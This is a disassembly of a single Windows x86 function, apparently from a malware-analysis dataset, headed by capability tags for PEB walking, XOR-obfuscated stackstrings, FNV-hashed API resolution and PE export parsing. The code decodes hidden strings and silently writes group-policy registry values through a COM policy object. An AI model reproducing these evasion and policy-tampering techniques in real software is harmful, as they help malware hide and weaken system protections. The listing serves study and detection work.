Function at 0x4148e0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50630d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x230
push ebx
push esi
push edi
push 2
push 0
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x234], 0x35378eac
mov dword [ebp - 0x230], 0x11d2683f
mov dword [ebp - 0x22c], 0xc0009aa8
mov dword [ebp - 0x228], 0xa2cfbb4f
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
je 0x41494e
cmp eax, 1
je 0x41494e
cmp eax, 0x80010106
jne 0x415951
mov dword [ebp - 0x1c], 0
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 0
push eax
push 0x522798
push 1
push 0
push 0x51b154
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov eax, dword [ebp - 0x1c]
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
test eax, eax
js 0x41591f
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x64]
push edx
push 2
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
test eax, eax
js 0x41591f
mov dword [ebp - 0x55], 0xa3b0baa7
xor ecx, ecx
mov dword [ebp - 0x51], 0xbea8b8af
mov dword [ebp - 0x4d], 0x9391ada0
mov dword [ebp - 0x49], 0x666b6269
mov dword [ebp - 0x45], 0x6e4b5977
mov dword [ebp - 0x41], 0x78657b6b
mov dword [ebp - 0x3d], 0x537a6b63
mov dword [ebp - 0x39], 0x777c7847
mov dword [ebp - 0x35], 0x3765627b
mov dword [ebp - 0x31], 0x7e7c7c5c
mov dword [ebp - 0x2d], 0x6d7b7972
mov dword [ebp - 0x29], 0x405a647c
mov dword [ebp - 0x25], 0x4e555048
mov dword [ebp - 0x21], 0x594747
mov byte [ebp - 0x1d], 1
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x55], al
inc ecx
cmp ecx, 0x37
jb 0x414a06
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [ebp - 0x238]
push 0
push eax
push 0
push 0x20006
push 0
push 0
push 0
lea eax, [ebp - 0x55]
mov byte [ebp - 0x1d], 0
push eax
push dword [ebp - 0x64]
call ebx
test eax, eax
jne 0x414b50
mov dword [ebp - 0xa6], 0x9b958db1
xor ecx, ecx
mov dword [ebp - 0xa2], 0x94938a8d
mov dword [ebp - 0x9e], 0xbaa18e92
mov dword [ebp - 0x9a], 0x6d677578
mov dword [ebp - 0x96], 0x69696c77
mov word [ebp - 0x92], 0x7b
mov byte [ebp - 0x90], 1
jmp 0x414a90
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0xa6], al
inc ecx
cmp ecx, 0x15
jb 0x414a90
mov eax, dword fs:[0x30]
mov byte [ebp - 0x90], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x68], ecx
cmp ecx, esi
je 0x414b14
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x414b14
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x414b0d
lea ecx, [ecx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x414af0
cmp esi, 0xda5113dc
je 0x414b18
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x414ad8
mov eax, dword [eax]
jmp 0x414ab3
mov eax, dword [ebp - 0x68]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0xa6]
add eax, edx
push ecx
push dword [ebp - 0x238]
call eax
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0x219], 0xa3b0baa7
xor ecx, ecx
mov dword [ebp - 0x215], 0xbea8b8af
mov dword [ebp - 0x211], 0x9391ada0
mov dword [ebp - 0x20d], 0x666b6269
mov dword [ebp - 0x209], 0x6e4b5977
mov dword [ebp - 0x205], 0x78657b6b
mov dword [ebp - 0x201], 0x537a6b63
mov dword [ebp - 0x1fd], 0x777c7847
mov dword [ebp - 0x1f9], 0x3765627b
mov dword [ebp - 0x1f5], 0x7e7c7c5c
mov dword [ebp - 0x1f1], 0x6d7b7972
mov dword [ebp - 0x1ed], 0x405a647c
mov dword [ebp - 0x1e9], 0x4e555048
mov dword [ebp - 0x1e5], 0x77594747
mov dword [ebp - 0x1e1], 0x4a5a5569
mov dword [ebp - 0x1dd], 0x5c5b425e
mov dword [ebp - 0x1d9], 0x100465a
lea esp, [esp]
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x219], al
inc ecx
cmp ecx, 0x42
jb 0x414c00
push 0
lea eax, [ebp - 0x23c]
mov byte [ebp - 0x1d6], 0
push eax
push 0
push 0x20006
push 0
push 0
push 0
lea eax, [ebp - 0x219]
push eax
push dword [ebp - 0x64]
call ebx
test eax, eax
jne 0x414d07
mov word [ebp - 0x68], ax
xor ecx, ecx
mov dword [ebp - 0x5a], 0x938d91
mov byte [ebp - 0x56], 1
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x5a], al
inc ecx
cmp ecx, 3
jb 0x414c52
mov eax, dword fs:[0x30]
mov byte [ebp - 0x56], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x414cd4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x414cd4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x414ccd
lea ebx, [ebx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x414cb0
cmp esi, 0xda5113dc
je 0x414cd8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x414c95
mov eax, dword [eax]
jmp 0x414c70
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 2
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x68]
push ecx
push 1
push 0
lea ecx, [ebp - 0x5a]
add eax, edx
push ecx
push dword [ebp - 0x23c]
call eax
mov dword [ebp - 0x4a], 0xa3b0baa7
xor ecx, ecx
mov dword [ebp - 0x46], 0xbea8b8af
mov dword [ebp - 0x42], 0x9391ada0
mov dword [ebp - 0x3e], 0x666b6269
mov dword [ebp - 0x3a], 0x6e4b5977
mov dword [ebp - 0x36], 0x78657b6b
mov dword [ebp - 0x32], 0x537a6b63
mov dword [ebp - 0x2e], 0x777c7847
mov dword [ebp - 0x2a], 0x3765627b
mov dword [ebp - 0x26], 0x7e7c7c5c
mov dword [ebp - 0x22], 0x6d7b7972
mov word [ebp - 0x1e], 0x100
lea esp, [esp]
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x4a], al
inc ecx
cmp ecx, 0x2c
jb 0x414d60
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x220]
push eax
push 0x20006
push 0
lea eax, [ebp - 0x4a]
mov byte [ebp - 0x1d], 0
push eax
push dword [ebp - 0x64]
call ebx
test eax, eax
jne 0x414fa0
mov dword [ebp - 0x8f], 0x96859cb0
xor ecx, ecx
mov dword [ebp - 0x8b], 0xba9f959a
mov dword [ebp - 0x87], 0xac978992
mov dword [ebp - 0x83], 0x62757870
mov dword [ebp - 0x7f], 0x1006076
jmp 0x414dd0
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x8f], al
inc ecx
cmp ecx, 0x12
jb 0x414dd0
mov eax, dword fs:[0x30]
mov byte [ebp - 0x7c], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x414e54
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x414e54
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x414e4d
lea ebx, [ebx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x414e30
cmp esi, 0xda5113dc
je 0x414e58
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x414e15
mov eax, dword [eax]
jmp 0x414df0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0x8f]
add eax, edx
push ecx
push dword [ebp - 0x220]
call eax
mov dword [ebp - 0x166], 0x96859cb0
xor ecx, ecx
mov dword [ebp - 0x162], 0xa99f959a
mov dword [ebp - 0x15e], 0x968a8893
mov dword [ebp - 0x15a], 0x7a6e646e
mov dword [ebp - 0x156], 0x6e6d6450
mov dword [ebp - 0x152], 0x684b6e66
mov dword [ebp - 0x14e], 0x61616478
mov word [ebp - 0x14a], 0x100
jmp 0x414ee0
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x166], al
inc ecx
cmp ecx, 0x1c
jb 0x414ee0
mov eax, dword fs:[0x30]
mov byte [ebp - 0x149], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x414f64
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x414f64
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x414f5d
lea ecx, [ecx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x414f40
cmp esi, 0xda5113dc
je 0x414f68
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x414f28
mov eax, dword [eax]
jmp 0x414f03
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0x166]
add eax, edx
push ecx
push dword [ebp - 0x220]
call eax
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x192], 0xa3b0baa7
xor ecx, ecx
mov dword [ebp - 0x18e], 0xbea8b8af
mov dword [ebp - 0x18a], 0x9391ada0
mov dword [ebp - 0x186], 0x666b6269
mov dword [ebp - 0x182], 0x6e4b5977
mov dword [ebp - 0x17e], 0x78657b6b
mov dword [ebp - 0x17a], 0x537a6b63
mov dword [ebp - 0x176], 0x777c7847
mov dword [ebp - 0x172], 0x4b65627b
mov dword [ebp - 0x16e], 0x6f69604b
mov dword [ebp - 0x16a], 0x1007079
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x192], al
inc ecx
cmp ecx, 0x2a
jb 0x415010
lea eax, [ebp - 0x224]
mov byte [ebp - 0x167], 0
push eax
push 0x20006
push 0
lea eax, [ebp - 0x192]
push eax
push dword [ebp - 0x64]
call ebx
test eax, eax
jne 0x415137
cmp dword [ebp - 0x18], 1
mov dword [ebp - 0x7b], 0x95979bb1
setne al
mov dword [ebp - 0x77], 0x96a99c94
mov dword [ebp - 0x68], eax
xor ecx, ecx
mov dword [ebp - 0x73], 0xac8a8f9d
mov dword [ebp - 0x6f], 0x66677363
mov word [ebp - 0x6b], 0x6a
mov byte [ebp - 0x69], 1
jmp 0x415080
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x7b], al
inc ecx
cmp ecx, 0x11
jb 0x415080
mov eax, dword fs:[0x30]
mov byte [ebp - 0x69], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
lea ecx, [ecx]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x415104
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415104
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4150fd
lea ebx, [ebx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4150e0
cmp esi, 0xda5113dc
je 0x415108
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4150c5
mov eax, dword [eax]
jmp 0x4150a0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x68]
push ecx
push 4
push 0
lea ecx, [ebp - 0x7b]
add eax, edx
push ecx
push dword [ebp - 0x224]
call eax
mov dword [ebp - 0x1d5], 0xa3b0baa7
xor ecx, ecx
mov dword [ebp - 0x1d1], 0xbea8b8af
mov dword [ebp - 0x1cd], 0x9391ada0
mov dword [ebp - 0x1c9], 0x666b6269
mov dword [ebp - 0x1c5], 0x6e4b5977
mov dword [ebp - 0x1c1], 0x78657b6b
mov dword [ebp - 0x1bd], 0x537a6b63
mov dword [ebp - 0x1b9], 0x777c7847
mov dword [ebp - 0x1b5], 0x3765627b
mov dword [ebp - 0x1b1], 0x7e7c7c5c
mov dword [ebp - 0x1ad], 0x6d7b7972
mov dword [ebp - 0x1a9], 0x4247737c
mov dword [ebp - 0x1a5], 0x4e720848
mov dword [ebp - 0x1a1], 0x7b0a4c45
mov dword [ebp - 0x19d], 0x4a5a425e
mov dword [ebp - 0x199], 0x5c5b4553
mov word [ebp - 0x195], 0x5a
mov byte [ebp - 0x193], 1
lea esp, [esp]
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x1d5], al
inc ecx
cmp ecx, 0x41
jb 0x4151f0
push 0
lea eax, [ebp - 0x60]
mov byte [ebp - 0x193], 0
push eax
push 0
push 0x20006
push 0
push 0
push 0
lea eax, [ebp - 0x1d5]
push eax
push dword [ebp - 0x64]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0xd8], 0x96859cb0
xor ecx, ecx
mov dword [ebp - 0xd4], 0xb99f959a
mov dword [ebp - 0xd0], 0x899f9599
mov dword [ebp - 0xcc], 0x4e706e69
mov dword [ebp - 0xc8], 0x736f6b6b
mov dword [ebp - 0xc4], 0x65637b67
mov word [ebp - 0xc0], 0x6b
mov byte [ebp - 0xbe], 1
jmp 0x415280
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0xd8], al
inc ecx
cmp ecx, 0x19
jb 0x415280
mov eax, dword fs:[0x30]
mov byte [ebp - 0xbe], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x415304
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415304
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4152fd
lea ecx, [ecx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4152e0
cmp esi, 0xda5113dc
je 0x415308
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4152c8
mov eax, dword [eax]
jmp 0x4152a3
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0xd8]
add eax, edx
push ecx
push dword [ebp - 0x60]
call eax
mov dword [ebp - 0xf3], 0x96859cb0
xor ecx, ecx
mov dword [ebp - 0xef], 0xb49f959a
mov dword [ebp - 0xeb], 0x9c9dbc92
mov dword [ebp - 0xe7], 0x53717265
mov dword [ebp - 0xe3], 0x62726a76
mov dword [ebp - 0xdf], 0x64637d6b
mov word [ebp - 0xdb], 0x62
mov byte [ebp - 0xd9], 1
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0xf3], al
inc ecx
cmp ecx, 0x19
jb 0x415385
mov eax, dword fs:[0x30]
mov byte [ebp - 0xd9], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
jmp 0x4153b0
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x415414
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415414
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41540d
lea ebx, [ebx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4153f0
cmp esi, 0xda5113dc
je 0x415418
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4153d5
mov eax, dword [eax]
jmp 0x4153b0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0xf3]
add eax, edx
push ecx
push dword [ebp - 0x60]
call eax
mov dword [ebp - 0x12b], 0x96859cb0
xor ecx, ecx
mov dword [ebp - 0x127], 0xa89f959a
mov dword [ebp - 0x123], 0xb0909c9f
mov dword [ebp - 0x11f], 0x6267536e
mov dword [ebp - 0x11b], 0x6a6f7168
mov dword [ebp - 0x117], 0x6a644c6d
mov dword [ebp - 0x113], 0x6b616e
mov byte [ebp - 0x10f], 1
jmp 0x4154a0
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x12b], al
inc ecx
cmp ecx, 0x1b
jb 0x4154a0
mov eax, dword fs:[0x30]
mov byte [ebp - 0x10f], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x415524
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415524
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41551d
lea ecx, [ecx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x415500
cmp esi, 0xda5113dc
je 0x415528
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4154e8
mov eax, dword [eax]
jmp 0x4154c3
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0x12b]
add eax, edx
push ecx
push dword [ebp - 0x60]
call eax
mov dword [ebp - 0x10e], 0x96859cb0
xor ecx, ecx
mov dword [ebp - 0x10a], 0xa99f959a
mov dword [ebp - 0x106], 0x8b929c99
mov dword [ebp - 0x102], 0x4e676c69
mov dword [ebp - 0xfe], 0x736f6b6b
mov dword [ebp - 0xfa], 0x65637b67
mov word [ebp - 0xf6], 0x6b
mov byte [ebp - 0xf4], 1
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x10e], al
inc ecx
cmp ecx, 0x19
jb 0x4155a5
mov eax, dword fs:[0x30]
mov byte [ebp - 0xf4], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
jmp 0x4155d0
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x415634
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415634
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41562d
lea ebx, [ebx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x415610
cmp esi, 0xda5113dc
je 0x415638
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4155f5
mov eax, dword [eax]
jmp 0x4155d0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0x10e]
add eax, edx
push ecx
push dword [ebp - 0x60]
call eax
mov dword [ebp - 0xbd], 0x96859cb0
xor ecx, ecx
mov dword [ebp - 0xb9], 0xb29f959a
mov dword [ebp - 0xb5], 0xafa8bcb3
mov dword [ebp - 0xb1], 0x66766e72
mov dword [ebp - 0xad], 0x686f7167
mov word [ebp - 0xa9], 0x66
mov byte [ebp - 0xa7], 1
jmp 0x4156b0
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0xbd], al
inc ecx
cmp ecx, 0x15
jb 0x4156b0
mov eax, dword fs:[0x30]
mov byte [ebp - 0xa7], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x415734
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415734
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41572d
lea ecx, [ecx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x415710
cmp esi, 0xda5113dc
je 0x415738
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4156f8
mov eax, dword [eax]
jmp 0x4156d3
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0xbd]
add eax, edx
push ecx
push dword [ebp - 0x60]
call eax
mov dword [ebp - 0x148], 0x96859cb0
xor ecx, ecx
mov dword [ebp - 0x144], 0xa99f959a
mov dword [ebp - 0x140], 0x8da98a9d
mov dword [ebp - 0x13c], 0x4d677569
mov dword [ebp - 0x138], 0x616f716b
mov dword [ebp - 0x134], 0x7f6b6a61
mov dword [ebp - 0x130], 0x606265
mov byte [ebp - 0x12c], 1
jmp 0x4157c0
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x148], al
inc ecx
cmp ecx, 0x1b
jb 0x4157c0
mov eax, dword fs:[0x30]
mov byte [ebp - 0x12c], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x415844
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415844
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41583d
lea ecx, [ecx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x415820
cmp esi, 0xda5113dc
je 0x415848
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x415808
mov eax, dword [eax]
jmp 0x4157e3
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x18]
push ecx
push 4
push 0
lea ecx, [ebp - 0x148]
add eax, edx
push ecx
push dword [ebp - 0x60]
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x4158e4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4158e4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4158dd
lea ecx, [ecx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4158c0
cmp esi, 0x1242154a
je 0x4158e8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4158a8
mov eax, dword [eax]
jmp 0x415883
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push dword [ebp - 0x64]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x234]
push 0x5223e8
push edx
push 1
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0x1c]
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x415937
mov dword [ebp - 0x1c], 0
mov eax, dword [ecx]
push ecx
